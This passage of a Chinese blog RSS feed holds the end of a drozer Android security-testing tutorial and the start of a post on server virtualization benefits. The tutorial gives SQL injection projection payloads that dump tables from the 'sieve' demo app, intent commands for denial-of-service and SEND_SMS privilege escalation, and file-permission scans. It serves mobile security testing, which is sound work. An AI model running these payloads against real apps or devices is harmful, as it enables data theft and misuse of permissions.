font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　列出所有表：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　获取某个表（如Key）中的数据：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　（4）同时检测SQL注入和目录遍历</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　run scanner.provider.injection -a com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　run scanner.provider.traversal -a com.mwr.example.sieve<br /><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　<strong style="word-break: break-all; line-height: normal !important;">6 intent组件触发（拒绝服务、权限提升）</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　利用intent对组件的触发一般有两类漏洞，一类是拒绝服务，一类的权限提升。拒绝服务危害性比较低，更多的只是影响应用服务质量；而权限提升将使得没有该权限的应用可以通过intent触发拥有该权限的应用，从而帮助其完成越权行为。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　1.查看暴露的广播组件信息：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　run app.broadcast.info -a com.package.name　　获取broadcast receivers信息</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　run app.broadcast.send --component 包名 --action android.intent.action.XXX</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　2.尝试拒绝服务攻击检测，向广播组件发送不完整intent（空action或空extras）：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　run app.broadcast.send 通过intent发送broadcast receiver</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　(1) &nbsp; 空action</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　run app.broadcast.send --component 包名 ReceiverName</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　run app.broadcast.send --component 包名 ReceiverName</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　(2) &nbsp; 空extras</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　run app.broadcast.send --action android.intent.action.XXX</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　3.尝试权限提升</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　权限提升其实和拒绝服务很类似，只不过目的变成构造更为完整、更能满足程序逻辑的intent。由于activity一般多于用户交互有关，所以基 于intent的权限提升更多针对broadcast receiver和service。与drozer相关的权限提升工具，可以参考IntentFuzzer，其结合了drozer以及hook技术，采用 feedback策略进行fuzzing。以下仅仅列举drozer发送intent的命令：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　（1）获取service详情</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　run app.service.info -a com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　不使用drozer启动service</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　am startservice &#8211;n 包名/service名</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　（2）权限提升</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　<strong style="word-break: break-all; line-height: normal !important;">　7.文件操作</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　列出指定文件路径里全局可写/可读的文件</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　run scanner.misc.readablefiles --privileged /data/data/com.sina.weibo</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　run app.broadcast.send --component 包名 --action android.intent.action.XXX</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　<strong style="word-break: break-all; line-height: normal !important;">　8.其它模块</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　shell.start 在设备上开启一个交互shell</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　tools.file.upload / tools.file.download 上传/下载文件到设备</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　tools.setup.busybox / tools.setup.minimalsu 安装可用的二进制文件</div></div><img src ="http://www.blogjava.net/qileilove/aggbug/423597.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2015-03-18 22:06 <a href="http://www.blogjava.net/qileilove/archive/2015/03/18/423597.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>在服务器虚拟化架构中有哪些技术功能和益处</title><link>http://www.blogjava.net/qileilove/archive/2015/03/18/423595.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Wed, 18 Mar 2015 14:03:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2015/03/18/423595.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/423595.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2015/03/18/423595.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/423595.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/423595.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">关于服务器虚拟化的概念，业界有不同的定义，但其核心是一致的，即它是一种方法，能够在整合多个应用服务的同时，通过区分应用服务的优先次序将服务器资源分配给最需要它们的<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">工作</strong></u></a>负载来简化管理和提高效率。<strong style="word-break: break-all; line-height: normal !important;">其主要功能包括以下四个方面：</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　集成整合功能。虚拟化服务器主要是由物理服务器和虚拟化程序构成的，通过把一台物理服务器划分为多个虚拟机，或者把若干个分散的物理服务器虚拟为一个整体逻辑服务器，从而将多个<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">操作系统</strong></u></a>和应用服务整合到强大的虚拟化架构上。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　动态迁移功能。这里所说的动态迁移主要是指V2V(虚拟机到虚拟机的迁移)技术。具体来讲，当某一个服务器因故障停机时，其承载的虚拟机可以自动切换到另一台虚拟服务器，而在整个过程中应用服务不会中断，实现系统零宕机在线迁移。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　资源分配功能。虚拟化架构技术中引入了动态资源调度技术，系统将所有虚拟服务器作为一个整体资源统一进行管理，并按实际需求自动进行动态资源调配，在保证系统稳定运行的前提下，实现资源利用最大化。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　强大的管理控制界面。通过可视化界面实时监控物理服务器以及各虚拟机的运行情况，实现对全部虚拟资源的管理、维护及部署等操作。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">服务器虚拟化的益处</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">采用服务器虚拟化技术的益处主要表现在以下几个方面。</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　节省采购费用。通过虚拟化技术对应用服务器进行整合，可以大幅缩减企业在采购环节的开支，在硬件环节可以为企业节省34%～80%的采购成本。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　同时，还可以节省软件采购费用。软件许可成本是企业不可忽视的重要支出。而随着<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">微软</strong></u></a>、红帽等软件巨头的加入，虚拟化架构技术在软件成本上的优势也逐渐得以体现。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　降低系统运行维护成本。由于虚拟化在整合服务器的同时采用了更为出色的管理工具，减少了管理维护人员在网络、线路、软硬件维护方面的工作量，信息部门得以从传统的维护管理工作中解放出来，将更多的时间和精力用于推动创新工作和业务增长等活动，这也为企业带来了利益。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-fam